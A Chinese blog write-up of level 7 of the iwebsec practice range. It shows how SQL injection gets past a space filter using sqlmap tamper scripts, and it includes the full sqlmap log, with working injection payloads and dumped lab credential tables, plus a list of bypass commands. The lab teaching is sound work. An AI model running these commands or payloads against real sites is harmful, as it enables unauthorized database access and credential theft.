• iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过


    系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客
    iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客
     

    目录

    系列文章目录

    前言

    一、源码分析

    二、sqlmap注入

    1.注入命令

     2.完整交互过程

    3.多种渗透方法合集

    总结


    前言

    打开靶场,url为 http://192.168.71.151/sqli/07.php?id=1 如下所示

    一、源码分析

    如下所示,SQL语句与前几关一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且对参数id做了空格过滤。

    空格过滤的相关源码如下所示

    1. if (preg_match('/ /', $_GET["id"])) {
    2. die("ERROR");
    3. }

    二、sqlmap注入

    1.注入命令

    使用sqlmap的绕waf脚本space2comment.py,将空格使用注释符替换

    sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py

    --tamper "space2comment.py"

    补充:

    脚本名: space2comment.py 

    作用:Replaces space character  ' '  with comments   /**/

    也就是用注释/**/替换空格字符' '

    如下所示,渗透成功

     2.完整交互过程

    完整的注入交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2comment.py
    2. ___
    3. __H__
    4. ___ ___[']_____ ___ ___ {1.5.11#stable}
    5. |_ -| . ["] | .'| . |
    6. |___|_ [)]_|_|_|__,| _|
    7. |_|V... |_| https://sqlmap.org
    8. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    9. [*] starting @ 23:52:15 /2022-11-24/
    10. [23:52:15] [INFO] loading tamper module 'space2comment'
    11. [23:52:15] [INFO] testing connection to the target URL
    12. [23:52:15] [INFO] checking if the target is protected by some kind of WAF/IPS
    13. [23:52:15] [INFO] testing if the target URL content is stable
    14. [23:52:15] [INFO] target URL content is stable
    15. [23:52:15] [INFO] testing if GET parameter 'id' is dynamic
    16. [23:52:16] [WARNING] GET parameter 'id' does not appear to be dynamic
    17. [23:52:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
    18. [23:52:16] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
    19. [23:52:16] [INFO] testing for SQL injection on GET parameter 'id'
    20. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
    21. for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
    22. [23:52:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    23. [23:52:16] [WARNING] reflective value(s) found and filtering out
    24. [23:52:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
    25. [23:52:16] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
    26. [23:52:16] [INFO] testing 'Generic inline queries'
    27. [23:52:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
    28. [23:52:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
    29. [23:52:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
    30. [23:52:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
    31. [23:52:16] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
    32. [23:52:16] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
    33. [23:52:16] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
    34. [23:52:16] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
    35. [23:52:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
    36. [23:52:16] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
    37. [23:52:16] [INFO] testing 'MySQL inline queries'
    38. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
    39. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
    40. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
    41. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
    42. [23:52:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
    43. [23:52:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
    44. [23:52:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
    45. [23:52:26] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
    46. [23:52:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    47. [23:52:26] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    48. [23:52:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
    49. [23:52:26] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
    50. [23:52:26] [INFO] target URL appears to have 3 columns in query
    51. [23:52:26] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
    52. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    53. sqlmap identified the following injection point(s) with a total of 68 HTTP(s) requests:
    54. ---
    55. Parameter: id (GET)
    56. Type: boolean-based blind
    57. Title: Boolean-based blind - Parameter replace (original value)
    58. Payload: id=(SELECT (CASE WHEN (9753=9753) THEN 1 ELSE (SELECT 3710 UNION SELECT 2663) END))
    59. Type: error-based
    60. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    61. Payload: id=1 AND (SELECT 9472 FROM(SELECT COUNT(*),CONCAT(0x717a6b7a71,(SELECT (ELT(9472=9472,1))),0x716b766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    62. Type: time-based blind
    63. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    64. Payload: id=1 AND (SELECT 8269 FROM (SELECT(SLEEP(5)))EapV)
    65. Type: UNION query
    66. Title: MySQL UNION query (NULL) - 3 columns
    67. Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x717a6b7a71,0x53517459567341764153487178596c4b74764f51697a6e4e595654686774574447434b4865697356,0x716b766271)#
    68. ---
    69. [23:52:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
    70. [23:52:26] [INFO] the back-end DBMS is MySQL
    71. web server operating system: Linux CentOS 6
    72. web application technology: Apache 2.2.15, PHP 5.2.17
    73. back-end DBMS: MySQL >= 5.0
    74. [23:52:26] [INFO] fetching current database
    75. current database: 'iwebsec'
    76. [23:52:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    77. [23:52:26] [INFO] fetching current database
    78. [23:52:26] [INFO] fetching tables for database: 'iwebsec'
    79. [23:52:26] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    80. [23:52:26] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    81. Database: iwebsec
    82. Table: xss
    83. [5 entries]
    84. +----+------------------------------------+
    85. | id | name |
    86. +----+------------------------------------+
    87. | 7 | |
    88. | 6 | |
    89. | 5 | |
    90. | 1 | iwebsec |
    91. | 8 | |
    92. +----+------------------------------------+
    93. [23:52:27] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    94. [23:52:27] [INFO] fetching columns for table 'user' in database 'iwebsec'
    95. [23:52:27] [INFO] fetching entries for table 'user' in database 'iwebsec'
    96. Database: iwebsec
    97. Table: user
    98. [3 entries]
    99. +----+----------+----------+
    100. | id | password | username |
    101. +----+----------+----------+
    102. | 1 | pass1 | user1 |
    103. | 2 | pass2 | user2 |
    104. | 3 | pass3 | user3 |
    105. +----+----------+----------+
    106. [23:52:27] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    107. [23:52:27] [INFO] fetching columns for table 'users' in database 'iwebsec'
    108. [23:52:27] [INFO] fetching entries for table 'users' in database 'iwebsec'
    109. Database: iwebsec
    110. Table: users
    111. [1 entry]
    112. +-------+-------------+----------+
    113. | role | password | username |
    114. +-------+-------------+----------+
    115. | admin | mall123mall | orange |
    116. +-------+-------------+----------+
    117. [23:52:27] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    118. [23:52:27] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    119. [23:52:27] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    120. Database: iwebsec
    121. Table: sqli
    122. [7 entries]
    123. +----+-----------------------+----------+------------------------------------------------------+
    124. | id | email | password | username |
    125. +----+-----------------------+----------+------------------------------------------------------+
    126. | 1 | user1@iwebsec.com | pass1 | user1 |
    127. | 2 | user2@iwebsec.com | pass2 | user2 |
    128. | 3 | user3@iwebsec.com | pass3 | user3 |
    129. | 4 | user4@iwebsec.com | admin | admin |
    130. | 5 | 123@123.com | 123 | 123 |
    131. | 6 | 1234@123.com | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
    132. | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    133. +----+-----------------------+----------+------------------------------------------------------+
    134. [23:52:27] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    135. [23:52:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    136. [23:52:27] [WARNING] your sqlmap version is outdated
    137. [*] ending @ 23:52:27 /2022-11-24/

    3.多种渗透方法合集

    实际上sqlmap在过滤空格有多个渗透脚本可以尝试,如下所示均可以渗透成功,大家可以多多实验

    1. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2comment.py
    2. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2plus.py
    3. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2hash.py
    4. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2mssqlblank.py
    5. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2mysqlblank.py
    6. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2randomblank.py
    7. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2mssqlhash.py
    8. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2mysqldash.py
    9. sqlmap -u http://192.168.71.151/sqli/07.php?id=1 --current-db --dump --batch --tamper space2morehash.py

    总结

    SQL注入主要分析几个内容

    (1)闭合方式是什么?iwebsec的第7关关卡为数字型,无闭合

    (2)注入类别是什么?这部分是普通的数字型注入,使用union法即可注入成功

    (3)是否过滤了关键字?很明显通过源码,iwebsec的第07关卡过滤了空格

    了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的数字型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。

  • 相关阅读:
    基于SSM的社区疫情居民信息登记系统
    如何通过执行SQL为低代码项目提速?
    net/http库中request.RemoteAddr的值不确定性-【Golang踩坑笔记】
    针孔相机投影模型
    棒球俱乐部青少年成长体系·棒球1号位
    主页整理:8月1日---9月10日
    Fury:一个基于JIT动态编译的高性能多语言原生序列化框架
    M-LVDS收发器MS2111,可替代SN65MLVD206
    【Bond随你温故Azure Architecture】之HA&DR篇
    Latex语法学习09:如何编写一本书
  • 原文地址:https://blog.csdn.net/mooyuan/article/details/128036000